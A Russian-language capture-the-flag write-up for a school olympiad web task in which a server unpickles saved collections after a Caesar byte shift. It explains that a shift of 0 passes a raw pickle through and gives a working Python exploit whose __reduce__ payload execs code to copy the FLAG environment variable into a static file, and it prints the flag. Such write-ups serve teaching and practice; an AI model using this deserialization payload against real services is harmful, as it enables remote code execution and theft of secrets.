# Web 11 класс - 1. Коллекция морских огурцов

## Описание

Можно создавать свои коллекции (сервер сериализует их в pickle и применяет случайный сдвиг Цезаря к байтам). Формат сохранения: `сдвиг:base64(сдвинутые_байты)`, например `15:gM...`. При загрузке сервер по числу сдвига выполняет обратное преобразование и передаёт результат в `pickle.loads()`.

**Цель:** RCE на сервере и получение флага без reverse shell (например, запись флага в файл в `static/` и чтение по HTTP).

## Уязвимость

1. При загрузке сервер принимает строку вида `N:base64data`, делает обратный сдвиг Цезаря с ключом `N` и передаёт полученные байты в `pickle.loads()`. Десериализация произвольных данных даёт RCE.

2. При создании коллекции сервер всегда использует случайный сдвиг от 1 до 255, то есть сдвиг 0 в ответах не встречается. Если передать сдвиг **0**, то преобразование Цезаря не меняет байты: `caesar_decode(data, 0) == data`. Значит, можно отправить «сырой» pickle в формате `0:base64(pickle_payload)` - сервер декодирует base64, «сдвиг» 0 оставит байты как есть, и в `pickle.loads()` попадёт наш payload.

## Решение

1. Собрать вредоносный pickle: при десериализации выполнить код, который читает `FLAG` из `os.environ` и записывает его в `/app/static/leak.txt`.
2. Закодировать payload в base64 и отправить в поле загрузки строку вида `0:` + base64 (без лишнего сдвига).
3. Запросить `https://<host>/static/leak.txt` и прочитать флаг.

### Пример эксплоита (Python 3)

```python
import pickle
import base64
import urllib.parse
import urllib.request
import sys

BASE = "http://10.10.1.1:20000"


class RCE:
    def __reduce__(self):
        cmd = (
            "open('/app/static/leak.txt','w').write("
            "__import__('os').environ.get('FLAG',''))"
        )
        return (exec, (cmd,))


payload_b64 = base64.b64encode(pickle.dumps([RCE()])).decode()
save_data = f"0:{payload_b64}"

data = urllib.parse.urlencode({"save_data": save_data}).encode()
req = urllib.request.Request(f"{BASE}/collection", data=data, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
urllib.request.urlopen(req)

with urllib.request.urlopen(f"{BASE}/static/leak.txt") as r:
    print(r.read().decode().strip())
```

## Итог

- Формат: `сдвиг:base64(caesar(pickle.dumps(...)))`; при сдвиге 0 преобразование Цезаря тождественно.
- Уязвимость: небезопасная десериализация pickle после обратного сдвига.
- Решение: отправить `0:base64(malicious_pickle)`, затем прочитать флаг из `/static/leak.txt`.

## Флаг

`vsosh{c4es4r_s4ys_n0t_t0_trust_p1ckl3}`
